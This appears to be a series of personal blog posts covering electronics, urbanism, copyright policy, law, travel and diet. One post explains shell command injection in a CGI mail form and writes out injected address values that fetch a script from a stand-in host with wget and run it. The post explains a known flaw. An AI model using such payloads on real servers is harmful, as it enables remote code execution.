The rain
Do you think the rain will be good for the rhubarb?
I wish my mother's award-winning short story about Albert Einstein and her father were on-line somewhere.
Do you think the rain will be good for the rhubarb?
I wish my mother's award-winning short story about Albert Einstein and her father were on-line somewhere.
Our technology project didn't work, despite Colin's amazing work at the physical layer and Emma's and Scott's amazing work on igniters to light candles. In a previous year, we were able to drive solid-state relays directly from a PC's parallel port. This year, we used the same exact solid-state relays but a different PC; its parallel port wasn't able to source as much current (I think I've seen web sites suggest that they can be limited to as little as 4 mA or able to provide as much as 50 mA, depending on which one you get) and so we weren't able to drive the solid-state relays directly. I had neglected to bring a TTL buffer chip because it had been unnecessary the last time we tried this.
It's too bad, because I also wrote a nice little C program to decode ASCII characters to 7-segment display representations and drive a 7-segment display with TTL levels on the PC parallel port. But when we connected the real live parallel port to the real live 7-segment display, the output voltages fell precipitously and the relays were not triggered at all.
For reference, writing a byte to I/O port 0x378 on a PC will cause that byte to appear on pins 2-9 of the DB-25 connector attached to the PC's first parallel port, using TTL voltage levels relative to the parallel port's logic ground, which, among other places, is available on pin 25. Pin 2 is the least significant bit and pin 9 is the most significant bit. (This is explained much better in other places on the Internet, complete with lots of pictures!) But if you actually want to drive anything with the parallel port, it's really a good idea to use a TTL buffer between the parallel port and your load.
I think a bunch of people took pictures of us trying to build this thing, so I'll try to post links to them if anybody puts them on-line.
Here are two other annoying things. First, DB-25 break-out boxes usually don't have preattached jumper wires. If you want to connect pins from a DB-25 connector into a breadboard, it takes a really long time! Second, USB digital I/O devices cost a lot of money even though they are seemingly extremely simple. (It's hard to see why a USB I/O device should cost more than any other USB devices that contains any digital logic and a memory. Seriously, I just want a USB interface chip, a shift register, and a buffer. Why does that cost more than some complicated USB interface that implements some other bus protocol on top of that?) PC parallel ports are cheap, but they are ideal for controlling external digital devices, except for the small amount of current they provide and the relatively small number of output lines they provide (just 8 unless you want to mess with status bits). USB could fix both of these problems easily, and indeed USB devices are available that do fix them, but, depending on the amount of assembly and the market at which the devices are aimed, they seem to cost from $30 to about $400. This despite the fact that USB digital interfaces seem already to be a large market and product category.
Come on. You could probably get a USB digital clock for $10 or $15 now. Why should access to the data lines inside cost extra? It's like all these other cases where you have to pay more for less -- like the extra cost of organic food, or raw food, or diet food. In this case, it must be based on the idea that people who buy peripherals that are fully enclosed are "consumers" and people who buy peripherals that are open and expose their guts are "professionals" or "hobbyists" who are willing to spend a bunch of money on a peripheral.
I guess they're right, at that.
Ever notice how the binary clocks are actually just regular digital clocks, minus the BCD-to-seven-segment decoder/driver chips? Regular digital clocks represent the time just the way the "binary clocks" do, and then they have a little extra circuitry to display the time on 7-segment displays instead of showing the actual bits in their memory registers. (They probably use something similar to an old 7447 or 7448 TTL chip.) Binary clocks just omit that step and show you the actual bits in their memory registers; you could make a binary clock out of a regular digital clock by just inserting probes in the right places and hooking up lights to them.
But, of course, you have to pay more for a binary clock than you do for a corresponding digital clock, because the binary clock is all cool and geeky. (You can tell because you can get them at ThinkGeek.)
I made a pilgrimage to Boston's North End on Sunday with the hope of being able to read Jane Jacobs there, and I managed to.
When I saw the North End again in 1959, I was amazed at the change. Dozens and dozens of buildings had been rehabilitated. Instead of mattresses against the windows there were Venetian blinds and glimpses of fresh paint. Many of the small, converted houses now had only one or two families in them instead of the old crowded three or four. Some of the families in the tenements (as I learned later, visiting inside) had uncrowded themselves by throwing two older apartments together, and had equipped these with bathrooms, new kitchens and the like. I looked down a narrow alley, thinking to find at least here the old, squalid North End, but no: more neatly repointed brickwork, new blinds, and a burst of music as a door opened. Indeed, this was the only city district I had ever seen -- or have seen to this day -- in which the sides of buildings around parking lots had not been left raw and amputated, but repaired and painted as neatly as if they were intended to be seen. Mingled all among the buildings for living were an incredible number of splendid food stores, as well as such enterprises as upholstery making, metal working, carpentry, food processing. The streets were alive with children playing, people shopping, people stolling, people talking. Had it not been a cold January day, there would surely have been people sitting.
I was about the only person sitting outside on Sunday, with my copy of The Death and Life of Great American Cities, reading about what the neighborhood used to be like. The North End has changed quite a bit since Jane Jacobs wrote in praise of it; as she suggests elsewhere in the book, a successful neighborhood like that seems to attract wealthy people who enjoy what it has to offer and can afford to outbid other people. Among other things, it's possible that a many of the current set of shops were built in imitation of older shops and to evoke nostalgia for past versions of the North End. There are a lot of relatively fancy Italian restaurants, seemingly many more per capita than Jane Jacobs recounts, and possibly they are there partly because the North End has become a real tourist destination. (North Beach in San Francisco is certainly like that; it couldn't support all those restaurants unless people from out of town thought of it as "the Italian neighborhood" and made a point of coming to San Francisco to eat in North Beach!)
I'm sure that the general architecture and street layout is much the same as it was in 1959 and that almost all of the buildings now standing in the North End were there then. The economic and demographic scene is surely much different. I get a sense of gentrification, although it isn't taken to the same extremes as elsewhere; here in the Mission, for example, they've been building pretty ugly condos, which I didn't see in the North End. The availability of money for mortgages, construction projects, etc., is totally turned around. (The Death and Life of Great American Cities talks about how commercial lenders wouldn't lend into the North End in the 1950s because it had a bad reputation, so people living there found alternatives to the major banks. Three minutes into my walk through the North End on Sunday, I saw a construction site with a big banner proclaiming that the project was financed by a large New York bank.) However, the themes of diversity and sidewalk use are still in evidence. In fact, I didn't even know how to get to the North End (I don't know Boston that well), so I decided to walk toward what looked interesting, and sure enough, it turned out to be the North End. However much the economic situation has changed and however well or poorly planners and builders have taken The Death and Life of Great American Cities to heart, the North End still looks like an interesting place, and you can still see that interest from afar, fifty years later.
At the party, Colin built a great seven-segment display out of the light bulbs, but, as I mentioned earlier, the computer wasn't able to provide enough current to drive the solid-state relays. Take a look at the picture if you want to get a clearer sense of what we were trying to put together. (The secret here was zip-ties and a foam core board.)
The IEEE Spectrum has a piece critical of the "AACS" DRM scheme being pushed as a replacement for CSS; I am quoted a whole bunch. Spectrum calls the technology a "loser" with respect to preventing copyright infringement.
Of course, even if we are right about whether AACS can prevent copyright infringement, that probably wouldn't seem like a reason not to use it to people in industry who are planning to adopt it.
[PayPal founder Peter] Thiel believes his company could ultimately compete with titans like AmEx, but the prize he has in mind is bigger than a place in the Dow. He hopes to make PayPal a vehicle of geopolitical liberation. "The ability to move money fluidly and the erosion of the nation-state are closely related," he explains. With a PayPal account, anyone on the Net can transfer value with greater anonymity than they could with a Swiss bank account. Hard to tax. Harder to regulate. Nearly impossible to control.
However,
You may not use PayPal in the purchase or sale of, or receipt of donations for, any obscene or sexually oriented goods or services. You may not use PayPal to sell drug paraphernalia, as defined in 21 U.S.C. 863. To be eligible for an account, you must be a resident of the United States or one of the approved countries [...]. We use many techniques to identify our users when they register on our site. You authorize PayPal, directly or through third parties, to make any inquiries we consider necessary to validate your registration [which] may include ordering a credit report and performing other credit checks or verifying the information you provide against third party databases. [W]e will also require your SSN or TIN if you send or receive certain high-value transactions or high overall payment volumes through PayPal.(from current PayPal policies)
There is also an enormous list of prohibited PayPal uses. You really should take a look at this list, if only to see how long it is!
The last thing Peter Thiel wants is for government regulation to intrude on his business. There are solid financial reasons - complying with banking laws is expensive - but his philosophical objections are at least as strong. [...] There are reasons to doubt that Thiel will shoulder the legal risks that come with provoking powerful foreign governments. For one thing, he wants to take PayPal public, and public companies tend not to exhibit the same regulation-baiting swagger as private concerns. Whether or not PayPal realizes his vision of liberated capital, though, he has no doubt that it's inevitable."I like to think of us as being at the forefront of financial liberation," Thiel says, sipping his wine thoughtfully. "But if we didn't do it, someone else would."
(Wired, op. cit.)
Oops!
I pronounce my last name to rhyme with "phone", and Fred von Lohmann pronounces his to rhyme with "Tron showman", so it was quite a remarkable thing to hear the Lufthansa ticket agent, when she had to call over to another desk to inquire about our reservations, refer to "Herr Schön und Herr von Lohmann" and pronounce our names correctly.
Now I am enrolled in the Portuguese class at ABADÁ! I am extremely happy about this; it's my first time in a formal language class since 1998.
In the past year I had the privilege of visiting, among other places, Asilomar, CA; Austin, TX; Berkeley, CA; Berlin, Germany; Boston, MA; Davis, CA; Des Moines, IA; Las Vegas, NV; Los Angeles, CA; New York, NY; Niterói, Brazil; Ottawa, Canada; Pasadena, CA; Providence, RI; Rio de Janeiro, Brazil; San Francisco, CA; Seattle, WA; Victoria, Canada; and Washington, DC.
I feel very lucky to have been able to visit these great world cities, and, more often than not, to have been able to look around a bit and see a little of how these places differ from one another.
Only recently there was practically nobody who got to see all these places in a lifetime, and even now there is practically nobody who gets to see them in a single year, so I am incredibly fortunate.
Although most of these cities are mainstream tourist destinations, they have different kinds and degrees of marketing, and different self-concepts, and they rely on tourism to different extents. For example, I suspect Asilomar, Las Vegas, San Francisco, Victoria, Rio, and Niterói are especially dependent on visitors and have an unusually high proportion of their economic activity derived from outsiders' activity. Cities like Berlin, New York, and Los Angeles may have a much higher absolute volume of tourism than (say) Victoria, but it is hard to feel that the tourist industry is such a vital or essential force.
These cities also differ in other ways -- for example, in their levels of segregation along racial and economic lines. (San Francisco is enormously segregated in both respects, whereas Rio has even sharper economic divisions -- albeit compressed much more in spatial terms -- and astonishingly absent racial divisions.) The power of different groups and institutions is visible to different extents; Berlin struggles to show off its past, Victoria at least pretends to, and Los Angeles and Las Vegas often seem to rush to bury or redevelop it. In Ottawa you can see the power of the Canadian policy of bilingualism; in Victoria it frequently looks like a dead letter. Davis practices ecology in a way that puts Berkeley to shame; Las Vegas, um, doesn't. (Berlin, too, has an amazing ecological practice in its way, compared with American cities of a similar size.) New York has heard quite a bit from tort lawyers and Rio still seems to be awaiting them.
I don't want to claim some kind of great perspective on world events or cultures. In my whole life, I have only spent one week outside of a first-world country and only spent one weekend in the wilderness, sleeping outdoors. (I later spent a second weekend sleeping outdoors, but that wasn't exactly the wilderness since it had toilets, restaurants, commuter rail service, a supermarket, and the fastest Internet access I've ever had...) I am just grateful to have seen the variety that I have seen, which is very much focused on cities, the way my life is focused on cities.
I often like to quote Cicero's pessimistic view of human isolation, or rather the view he attributes to Africanus.
Vides habitari in terra raris et angustis in locis et in ipsis quasi maculis, ubi habitatur, vastas solitudines interiectas, eosque, qui incolunt terram, non modo interruptos ita esse, ut nihil inter ipsos ab aliis ad alios manare possit, sed partim obliquos, partim transversos, partim etiam adversos stare vobis; a quibus exspectare gloriam certe nullam potestis.
There are many aspects of this that remain true even in the age of air travel and global communications. I think it's a common essay question for people reading the "Somnium Scipionis" -- is this true even nowadays, that people live in little spots on the surface of the Earth and are so far cut off that nothing could pass between them? And students are meant to say yes, in a way. But I'm also thinking of how Dar Williams sang (perhaps a little ironically, if you recall about the line after):
People found the city because they love other people
In case you aren't on seth-trips, please note that the Supreme Court has set oral argument in MGM v. Grokster for Tuesday, March 29, 2005. I'm in the process of making plans to attend.
Mako pointed out that Christian Bök's lipographic masterpiece Eunoia is now on-line for free. I encourage everybody to buy a print copy; it's a beautiful book in every way.
Oops. How about this?
Mako points out that Christian Bök's brilliant univocallic lipographic work of charming thinking is up, gratis, on chbooks.com! I would ask all Bök fans, or proto-fans, to buy a print copy. In all ways, Bök's work is at lipography's summit and shows what is most worthy in bookmaking: its authorship, layout, artwork, and binding all form a glorious unity of craftsmanship. To hold it is to know a sort of artistic joy.
Thinking about Bök, I want to start a campaign for authors' autonomy from politicians' whims, and for all of our rights to go about writing and all sorts of communication without asking for an imprimatur... but to run this campaign only using lipography.
Its first slogan is obvious:
CONSTRAIN WRITING, NOT AUTHORS!
As elsewhere noted, I have just had an actual nightmare about the cute Japanese video game Katamari Damacy.
No, it didn't have to do with copyright; it had to do with the compulsion to try to roll up everything in the world into a giant ball!
I'm not quite sure what to say about Berlin other than that I had an excellent trip and met many interesting people. I had the privilege of visiting the renowned Chaos Computer Club and hanging out with many of its regulars, as well as the Bootlab and the newthinking Linux Trend Store (Linux specialty store).
I wrote a multiple-page account of my trip in Portuguese for a Portuguese class assignment, so maybe in the near future I can pull that out and translate portions of it into English in order to post them here.
OK, my mailing list for people who want to camp out at the Supreme Court for the MGM v. Grokster argument with me is up.
Fulfilling one of Justice Scalia's concerns (in fact, relying on Scalia's own logic), a court has held that U.S. obscenity law is unconstitutional, relying on Lawrence v. Texas. Boing Boing has news and good links, including a direct link to the opinion from the Western District of Pennsylvania.
It is reasonable to assume that [the Lawrence minority] came to [the conclusion that the Lawrence majority opinion would invalidate obscenity law] only after reflection and that the [minority] opinion was not merely a result of over-reactive hyperbole by those on the losing side of the argument. In any event, there are other constitutional scholars who have reached the same conclusion, i.e., that the nation's obscenity laws cannot stand in light of Lawrence.
Another interesting idea that I take from this case is that Justice Department forum-shopping for obscenity prosecutions can sometimes backfire.
I've already mentioned the article "The End of Obscenity", which points out Lawrence as one reason that older obscenity jurisprudence may be in trouble.
Here's another observation, which I hope will be a separate post at some point. In a precedent-based legal system, the answer you get depends on the order in which you ask the questions. It seems pretty clear that obscenity is one area where asking the courts about different aspects of free expression and sexual autonomy in different orders could have yielded drastically different results, and it may still yield a wide variety of results depending on the order in which future questions are posed.
A simple example of this is the relatively higher social status of gays and lesbians in our society than commercial pornographers. There is a conceptual relationship (as Scalia rightly pointed out, although from the point of view of someone who disfavored the liberties of both groups rather than favoring them) between the sexual autonomy of gay people and the sexual autonomy of pornography creators (and audiences), because the suppression of both is related to the same kinds of supposedly traditional sexual morality. If you ask about gay people first, though, and then pornographers, the courts are now reluctant to be seen as reactionary bigots by giving the kind of short shrift to gay rights that they did back in Bowers. And then the pornographers, as Scalia observed, will benefit from the collateral effects of recognizing the importance of individual sexual autonomy and disparaging state power over sex in general. But if you asked the question the other way round, to a certain extent, it could go the other way: you might get a ringing opinion supporting state power over sex, which would at the least be helpful to the anti-gay amici when a case like Lawrence came up.
I have no idea whether this case out of Pennsylvania is the vehicle, but I hope some day we will say good riddance to Miller, that (um) obscene hole in the already unsteady edifice of first amendment doctrine. We've seen over and over again that holes in the first amendment's coverage constantly invite other holes; patching them up, conversely, strengthens the whole structure against every kind of attack.
For those of you who, like the woman in Dan Bern's "Estelle", have "believed collage was the greatest of all the arts", you might be interested in a cool collage conference coming up in Iowa in March.
Many of the briefs filed in MGM v. Grokster make me want to say things. Perhaps I will try to remember those things and say them after the Supreme Court has rendered its opinion.
The Business Software Alliance, in its 2005 legislative agenda document, deals briefly with at least two arguments by copyright skeptics. This response is particularly bold, or candid, on BSA's part.
Some have attempted to paint copyright piracy as a victimless crime, arguing that "if I make a copy of a computer program, you still get to keep your copy, and we are both better off." This is hardly the case.Reducing piracy offers direct benefits. The equation is a basic one: the lower the piracy rate, the larger the IT sector and the greater the benefits.
It's not unusual for a trade group to say that it wants its industry to be larger and more profitable, but it's amazing that the only refutation BSA offers to the notion that copying is a useful, productive activity is the idea that preventing copying will make the software industry bigger!
The most natural reading of "benefits" appears to be "profits", although it's always possible that BSA is saying that a larger IT sector would benefit its customers, which is not at all obvious.
Why should anyone other than the software industry inherently want the software industry to be bigger? Someone at Red Hat addressed this question head-on four or five years ago, saying that his goal was to make the software industry much smaller, and to provide greater benefits to software users and customers in the process. In his view, the software industry was much too large and was extracting much more money than necessary, partly because of limited competition and partly because of defects in its (for lack of a better term) business models.
The idea that helping a business sector get larger and richer is a primary duty of legislators or of the public is so peculiar that it bears trying to come up with a few parallel arguments.
Some have attempted to paint printing as a victimless crime, arguing that "if I print a book, you can buy it from me, and we are both better off." This is hardly the case.Reducing printing offers direct benefits. The equation is a basic one: the lower the printing rate, the larger the scribes and bards sector, and the greater the benefits.
Some have attempted to paint conjugal sexual intimacy as a victimless crime, arguing that "if you and I have intimate relations, we both derive pleasure and a sense of togetherness, and we are both better off." This is hardly the case.Reducing sex among committed partners offers direct benefits. The equation is a basic one: the lower the intimacy rate among committed partners, the larger the prostitution sector, and the greater the benefits.
Some have attempted to paint recreational sports leagues as a victimless crime, arguing that "if you and I play baseball, we both get physically fit, and we are both better off." This is hardly the case.Reducing recreational sports offers direct benefits. The equation is a basic one: the lower the rate of noncommercial sports activity, the larger the professional athletic sector, and the greater the benefits.
Some have attempted to paint making dinner for your family as a victimless crime, arguing that "if I cook you dinner, we both enjoy dinner together, and we are both better off." This is hardly the case.Reducing eating at home offers direct benefits. The equation is a basic one: the lower the rate of family dinner preparation, the larger the restaurant sector, and the greater the benefits.
Some have attempted to paint classical chamber music ensembles as a victimless crime, arguing that "if we all perform Schubert together, we all improve our proficiency with our instruments and enjoy the music, and we are all better off." This is hardly the case.Reducing chamber music offers direct benefits. The equation is a basic one: the lower the rate of chamber music performance, the larger the professional orchestra and recorded music retailing sectors, and the greater the benefits.
Some have attempted to paint the sale of over-the-counter pharmaceuticals as a victimless crime, arguing that "if you buy medicine from me, you can use it to treat yourself, and we are both better off." This is hardly the case.Reducing nonprescription medication sales offers direct benefits. The equation is a basic one: the lower the rate of nonprescription medication availability, the larger the demand for physician consultations, and the greater the benefits.
Some have attempted to paint reading books as a victimless crime, arguing that "if you read a book, you gain knowledge, and we are all better off." This is hardly the case.Reducing reading offers direct benefits. The equation is a basic one: the lower the rate of reading, the larger the television audience and hence the larger the advertising sector, and the greater the benefits.
Some have attempted to paint gardening as a victimless crime, arguing that "if you grow herbs and vegetables in your garden, you can eat them, and we are all better off." This is hardly the case.Reducing gardening offers direct benefits. The equation is a basic one: the lower the rate of gardening, the larger the supermarket and agricultural sectors, and the greater the benefits.
Some have attempted to paint painting as a victimless crime, arguing that "if you paint pictures, you can hang them in your house, and I can enjoy them, and we are both better off." This is hardly the case.Reducing painting offers direct benefits. The equation is a basic one: the lower the rate of painting, the larger the professional offset printing sector, and the greater the benefits.
Some have attempted to paint children's games as a victimless crime, arguing that "if you and I play tag, we have fun, and we are both better off." This is hardly the case.Reducing children's unstructured recreation offers direct benefits. The equation is a basic one: the lower the rate of unstructured play, the larger the arcade sector, and the greater the benefits.
Some have attempted to paint letting guests stay in your house as a victimless crime, arguing that "if you visit, I enjoy your company, you have a place to stay, and we are both better off." This is hardly the case.Reducing hospitality toward guests and visitors offers direct benefits. The equation is a basic one: the lower the rate of uncompensated or reciprocal in-home hospitality, the larger the hotel sector, and the greater the benefits.
Some have attempted to paint ham radio as a victimless crime, arguing that "if you operate an amateur radio station, you and I can communicate across long distances, and we are both better off." This is hardly the case.Reducing the prevalence of amateur radio operators offers direct benefits. The equation is a basic one: the lower the rate of amateur radio communication, the larger the long distance telephone services sector, and the greater the benefits.
Some have attempted to paint throwing parties as a victimless crime, arguing that "if you hold a party, we can celebrate together, and we are both better off." This is hardly the case.Reducing partying offers direct benefits. The equation is a basic one: the lower the rate of noncommercial parties, the larger the nightclub and bar sector, and the greater the benefits.
Some have attempted to paint jogging as a victimless crime, arguing that "if you jog regularly, you improve your cardiovascular health, and we are all better off." This is hardly the case.Reducing jogging offers direct benefits. The equation is a basic one: the lower the rate of jogging, the larger the coronary care and heart medication sector, and the greater the benefits.
Some have attempted to paint serfs becoming independent freeholding farmers as a victimless crime, arguing that "if you grow your own crops on your own land, you become self-sufficient outside of the feudal system, and we are all better off." This is hardly the case.Reducing the emancipation of serfs offers direct benefits. The equation is a basic one: the lower the rate of emancipation, the more substantial the payment of tribute by the serfs to their liege lord, and the more his dominions and his prosperity can expand.
Some have attempted to paint generating electricity as a victimless crime, arguing that "if you generate electricity, you can sell it to me, I can illuminate my house and refrigerate my food, and we are both better off." This is hardly the case.Reducing the generation of electricity offers direct benefits. The equation is a basic one: the lower the rate of electrical utility connectivity, the larger the tallow, oil, and ice sectors, and the greater the benefits.
Some have attempted to paint making aerobics tapes as a victimless crime, arguing that "if you follow someone's workout routine, you become conditioned, and we are all better off." This is hardly the case.Reducing aerobic conditioning offers direct benefits. The equation is a basic one: the lower the rate of aerobic exercise, the larger the membership-based gymnasium and personal trainer sector, and the greater the benefits.
Some have attempted to paint having a foreign pen-pal as a victimless crime, arguing that "if you correspond with me, we can learn one another's languages and improve our language proficiency, and we are both better off." This is hardly the case.Reducing international correspondence offers direct benefits. The equation is a basic one: the lower the rate of correspondence with foreign pen-pals, the larger the foreign language school sector, and the greater the benefits.
Some have attempted to paint tooth-brushing as a victimless crime, arguing that "if you brush your teeth regularly, you improve your dental hygiene, and we are all better off." This is hardly the case.Reducing tooth-brushing offers direct benefits. The equation is a basic one: the lower the rate of tooth-brushing, the larger the dental prosthetic, dental filling, and dental surgical equipment sectors, and the greater the benefits.
Some have attempted to paint not paying a capitation tax to the established church as a victimless crime, arguing that "if you are not compelled to support the established church, you can worship in your own way according to your individual conscience, and we are all better off." This is hardly the case.Reducing the avoidance of compulsory payments to the established church offers direct benefits. The equation is a basic one: the lower the rate of dissent from the established church, the larger the revenue the church can obtain, which permits it to expand and furthers the glory of God.
Some have attempted to paint manufacturing semiconductors as a victimless crime, arguing that "if you sell me semiconductors, I can build digital devices with relatively high speed and low power consumption, and we are both better off." This is hardly the case.Reducing semiconductor manufacturing offers direct benefits. The equation is a basic one: the lower the rate of semiconductor use, the larger the vacuum tube sector, and the greater the benefits.
Some have attempted to paint walking to work as a victimless crime, arguing that "if you walk to work, you arrive at work, you can do your job, and we are all better off." This is hardly the case.Reducing walking to work offers direct benefits. The equation is a basic one: the lower the rate of walking to work, the larger the automotive sector, and the greater the benefits.
Some have attempted to suggest that these united colonies are, and of right ought to be, free and independent states, arguing that, if all political connection between them and the State of Great Britain is totally dissolved, they can do all acts and things which independent states may of right do, and we are all better off." This is hardly the case.Preventing the independence of the colonies offers direct benefits. The equation is a basic one: imposing taxes on the colonies without their consent allows the maintenance and expansion of the British Empire, and the greater glory and honour of his majesty George the Third, by the Grace of God King of Great Britain, France, and Ireland, Defender of the Faith, etc., and the less autonomy the colonies attain, the greater the benefits.
Now I can understand my Portuguese spam (and so I don't immediately mark it as spam and delete it, because it has more intrinsic interest, and it's no longer immediately obvious from the language whether it's spam or not).
As Thomas Schelling suggests in The Strategy of Conflict, sometimes being able to understand something (or being able to receive messages, or being seen as rational) can be a real disadvantage. When you can understand, people can use language to try to deceive you, threaten you, propagandize you, annoy you, or simply waste your time. In the famous case of a threat, if you really plausibly don't understand the threat, for any reason whatsoever, the threat's effectiveness fails. If spammers could be sure that I didn't know any Portuguese, they would have no reason to spam me in Portuguese (and, if they did, I would have no reason to pay attention to their messages).
I get a lot of Korean spam, too, but I never have any doubt whether it's spam, and I'm never even tempted to try to read it -- let alone risking falling for some kind of scam or pitch conveyed in Korean.
Keely's time capsule post motivated me to fill out the same sort of thing for myself, but I don't think I want to post it here. Since I never spent more than four years at any one school after elementary school, the five-year jump is amazing for the way it vaults over entire periods of my life at school.
It reminds me, though, that on my 24th birthday in 2003 I thought of doing a project called "Method of Loci" which would rely on the fact that I live at 24th Street (and am pretty familiar with the lower-numbered streets in San Francisco because I used to live at 3rd Street and work at 8th Street. I wanted to be photographed at an intersection of each numbered street in San Francisco from 1st Street past my old corner on 3rd Street up to my corner at 24th Street, (There are some minor difficulties because there is no single street that runs from my old neighborhood into my new neighborhood and intersects all the numbered streets -- but that's OK, because I could just walk side to side and be sure of getting all of them.) At each intersection, I would be photographed in front of the appropriately numbered street sign, holding or wearing things that related to the corresponding year in my life, and I would end up at home, aged 24. I thought it would be an amazing aid to memory, and I actually did make a chart of when things happened to me, and I collected some memorabilia from different years. (It was pretty easy for me to find at least one thing for each year from about 1991 until the present, but much harder to find things from before then.)
That project didn't work out, but I'm still interested in doing something like that. It frustrates me that it's already hard for me to keep a sense of perspective about when things happened to me (or, for that matter, when things happened in world history). Often, it's hard to remember how quickly and how dramatically my life has changed. Since the numbered streets in my immediate neighborhood go up to 26th Street, I still have one more chance to do this sort of project this year, although I'd have to keep going a block and a half or so past my house.
The advantage of this sort of exercise, including the task of physically walking through the city, is that it lets you associate things with a geography that's already familiar. For example, you could then think of an event in terms of a particular building, and see the approximate distance between things, or think about how long something lasted, in familiar spatial terms. I don't want to suggest that there is something more natural or easier about thinking in terms of space than in terms of time. But since memory can be so unreliable, or partial, or difficult, associating events of memory with the seemingly stable physical world helps put them in perspective in a way that could be more accessible.
The method of loci is a mnemonic technique in which items in a series are associated mentally with places along a familiar route. Doing this helps many people recall the series in order without as much risk of leaving something out or recalling things in the wrong order. For many people, it can be very helpful.
I think anyone who lives in a city with numbered streets has a ready-made framework for a surprisingly interesting and powerful personal art project.
I was working on an article about this very aviation security loophole -- indeed, I have it as a draft in NewsBruiser -- but Slate beat me to it and wrote it up first. (Thanks to Boing Boing for the link.) Maybe I'll go back and add some more detail to my own version.
I was sad to see that Slate backs down on its initial skepticism of the No-Fly List. The article starts off this way:
The Homeland Security Department's No-Fly List has always seemed a bit absurd to me. [...] But even if you assume the No-Fly List serves an important purpose, the system as it presently operates contains a gaping, dangerous loophole that makes the list nearly useless.
(Of course, the loophole is only "dangerous" "if you assume the No-Fly List serves an important purpose", which the author initially claimed not to believe.)
But instead of ending the piece by advocating the elimination of the supposedly "absurd" and "nearly useless" No-Fly list, the author abruptly backpedals and calls for more rigorous procedures to enforce it:
Could an extra ID check slow us down a little? Yes, it probably would. Tough luck. We've already endured two wars and countless other disruptions in the name of safety. A few extra minutes at the airport isn't going to kill anyone.
Other people thinking about the effectiveness of security measures have thought that some of those measures were simply worthless. But these measures are not simply random and meaningless; they are often intrusive, demeaning, repressive, and error-prone. When a practice is actually useless for security, it ought to be at least a plausible argument for doing away with it.
For example, when I was at Oakland with Cory Doctorow (in his previous incarnation as a cigarette smoker) and he had to empty his cigarette lighter before carrying it on the plane, he tried to show the security screener the futility of this gesture by walking to a convenience store immediately inside the security checkpoint, buying a new lighter there, and bringing it back to the checkpoint. He had just purchased an item inside security comparable to what the screener had made him give up.
Now, a journalist could write a story about how awful it is that the convenience stores in airports are selling cigarette lighters. Or the journalist could write about how silly it is that screeners are taking them away from people. (Hint: TSA still expressly permits matches, and every airport seems to have stores selling enormous glass bottles of vodka.)
(Update: TSA rules apparently prohibit carrying those bottles on the airplane, but this might be hard to enforce -- especially the quantity limits -- since they get sold inside security checkpoints.)
Wow, Riana's eschatological preaching is about the geekiest thing I've seen all year. (Hint: this is a response to the Wang-Yin-Yu SHA-1 collision attack. Riana is standing in front of the RSA Conference.)
Praveen and Gwen and I went over to Berkeley to see Gilberto Gil, famous Brazilian musician and (it so happens) Ministro da Cultura do República Federativa do Brasil. (Also, close friend of John Perry Barlow's.) It was a good time; Gil played some of his music (which most of the audience, unlike me, knew by heart), and talked about cultural policy issues. He also made a lot of jokes.
When someone asked about how Brazil was affected by the International Monetary Fund (IMF), Gil said that in Brazil it's known as the FMI, but maybe it would be better to be able to call it the FIM (Portuguese for "end"). But then he gave a straight answer.
The moderator didn't ask my question about copyright, which is understandable, since it looked like hundreds of questions were submitted. Gil is speaking again this afternoon at ABADÁ, so I might get another chance.
The ALA v. FCC argument in the D.C. Circuit is today, but I haven't heard any news yet.
Chris Palmer just told me about a remarkable program called tcc, the Tiny C Compiler. tcc is unbelievably small and fast (it claims to be able to compile the entire Linux kernel in 10 seconds, which I keep thinking must be a misprint every time I see it), so that some people are actually compiling their kernels at boot time as part of the boot process, or so I'm given to understand.
But the other funny thing you can do with tcc is use C as a scripting language. For example,
[schoen@eleos tcc-0.9.22]$ cat hello.c
#!/usr/local/bin/tcc -run
int main(int argc, char *argv[]){
int i;
for(i=0; i<10; i++){
printf("%s: Hello, %d world!\n", argv[0], i);
}
}
[schoen@eleos tcc-0.9.22]$ ./hello.c
./hello.c: Hello, 0 world!
./hello.c: Hello, 1 world!
./hello.c: Hello, 2 world!
./hello.c: Hello, 3 world!
./hello.c: Hello, 4 world!
./hello.c: Hello, 5 world!
./hello.c: Hello, 6 world!
./hello.c: Hello, 7 world!
./hello.c: Hello, 8 world!
./hello.c: Hello, 9 world!
Suppose that you have a CGI script responsible for processing a form that allows users to send mail to other people by entering their e-mail addresses, and suppose that the CGI form performs some minimal validation of e-mail addresses by requiring that they be separated by spaces or commas and that they contain @ signs.
Suppose that the CGI script in question implements the process of sending mail by calling
system("sendmail " + user_supplied_address_list)
from a scripting language like Perl or Python. (In practice it would probably be popen instead of system, but popen works much like system and has the same vulnerabilities.)
Here's a simple way of exploiting this script to gain access to the web server. On a web server you control, say www.example.com, create a file called att@ck in the root directory, containing a #!/bin/sh line followed by code you would like to run on the web server under attack. Then submit the CGI form with the recipient address list
you@example.com;wget -O/tmp/att@ck www.example.com/att@ck
and then submit it a second time with the recipient address list
you@example.com;sh /tmp/att@ck
This will result in the remote system executing the two commands
system("sendmail you@example.com;wget -O/tmp/att@ck www.example.com/att@ck")
and
system("sendmail you@example.com;sh /tmp/att@ck")
which will result in the code from http://www.example.com/att@ck being run with the web server's privileges on the system that hosts the CGI script. (Each of the tokens in the example above is a single string containing an @, so trivial e-mail address validation -- without removing the semicolon character -- won't fix this problem!)
This vulnerability is ancient and very widely discussed; the equivalent problem has plagued many people's software for years, even though mechanisms like these have been well documented and are the major inspiration for things like Perl's Taint Mode, but it still works against freshly-written scripts, and many sites are vulnerable. Being vulnerable to this feels kind of like coming down with some ancient and unfashionable disease like scurvy. That's so 18th-century!
Yesterday I decided to try to become a vegan, after right around 17 years of lacto-ovo-vegetarianism. My current thought is that I'll always be strictly lacto-ovo-vegetarian, but that I should be able to buy only vegan food when buying food for myself. (I would still eat lacto-ovo-vegetarian when eating food that other people had provided, or somewhere where vegan food isn't available.) Following that practice doesn't actually constitute "being vegan", but rather something like "preferring a vegan diet". In San Francisco, this seems remarkably easy; the only time I regularly eat eggs or milk today is in desserts, pizza, and nachos. Perhaps 80% or more of my meals in the last month were already vegan or had only trivial amounts of eggs or milk in them. (About 80% of the food I usually prepare for myself is also already vegan, and my favorite cuisines are high-carb versions of Ethiopian and Asian foods where the vegetarian dishes are typically vegan.)
I find it really exciting to pursue a project like this. It reminds me very much of something that I might have done when I was younger, and stirs up all sorts of feelings of possibility and nostalgia. It's also very convenient that I'm about to get a third housemate who's a longtime vegan.
